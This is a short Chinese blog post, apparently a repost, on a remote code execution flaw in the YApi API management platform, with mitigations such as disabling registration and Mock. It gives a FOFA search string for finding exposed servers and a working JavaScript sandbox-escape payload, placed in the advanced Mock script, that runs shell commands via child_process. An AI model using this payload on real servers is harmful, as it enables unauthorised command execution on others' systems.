首页 > Windows开发 > 详细

YAPI代码执行漏洞

时间:2021-07-09 00:39:48      阅读:33      评论:0      收藏:0      [点我收藏+]

一、YAPI

  YApi 是高效、易用、功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。

二、漏洞复现

  fofa指纹app="YAPI"

  打开登录页面,注册账号,新增项目,新增接口

  打开高级Mock

技术分享图片

 

在脚本内插入payload

 

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor(‘return process‘)
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ls").toString()

保存后访问个人接口地址

技术分享图片

 

三、临时解决方案

  截止至7月8日,官方暂未发布新版本,临时解决方案如下:

  1、关闭注册功能

  2、关闭Mock功能

  3、限制白名单访问

 

YAPI代码执行漏洞

原文:https://www.cnblogs.com/Y1Shui/p/14987835.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!